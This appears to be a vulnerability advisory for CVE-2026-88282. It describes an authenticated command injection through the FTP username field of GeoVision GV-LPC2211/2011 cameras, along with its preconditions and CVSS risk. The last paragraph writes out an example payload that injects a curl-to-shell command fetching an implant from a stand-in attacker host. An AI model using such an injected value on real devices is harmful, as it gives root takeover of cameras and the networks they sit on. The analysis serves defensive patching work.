GeoVision GV-LPC2211 CVE-2026-88282

Exploitation requires an authenticated session with administrator-level privileges on the GeoVision GV-LPC2211 or GV-LPC2011 web management interface (confirmed by CVSS PR:H). The attacker must have write access to the FTP account configuration - specifically the FTP username field. Exploitation is a two-step process: first the malicious username is saved, then an FTP-account update action is triggered, at which point the injected shell metacharacters are executed. Limiting factors: the administrative privilege requirement excludes unauthenticated network attackers and non-admin authenticated users; the specific FTP account configuration feature must be accessible (i.e., FTP functionality must not be administratively disabled at the UI level); and the device must be running firmware version 1.13 (other versions not confirmed vulnerable). Network access to the device's management interface is required per AV:N in the CVSS vector.

The CVSS 3.1 score of 7.2 with vector AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H accurately captures the key risk dynamic: administrative credentials are required (PR:H), which meaningfully constrains the attacker pool compared to unauthenticated flaws, yet successful exploitation delivers full root-level control over the device. The absence of KEV listing and unknown EPSS signal suggest no confirmed widespread active exploitation at time of analysis. However, the practical risk is elevated in environments where administrator passwords are weak, shared across devices, or left at factory defaults - conditions common in physical security camera deployments. Even a mid-sized municipal IT team in walbrzych operating a license plate recognition network should treat this as an urgent patching priority if these devices are reachable from any network segment with multiple user accounts. The scope-unchanged (S:U) designation is technically accurate but understates operational impact, as a compromised license plate camera with root access can be pivoted into network reconnaissance, credential harvesting from stored configurations, or persistent implantation. EPSS data is absent from the provided intelligence, and KEV status is not confirmed.

An attacker holding or having obtained administrator credentials to the GeoVision GV-LPC2211 web interface navigates to the FTP account configuration page and enters a username value containing shell metacharacters such as ;curl http://attacker.example/implant.sh|sh;. When the administrator saves the FTP-account settings, the device's backend passes the unsanitized string to a shell command, executing the injected payload as root and granting the attacker persistent full control of the camera device. No public exploit code is known at time of analysis.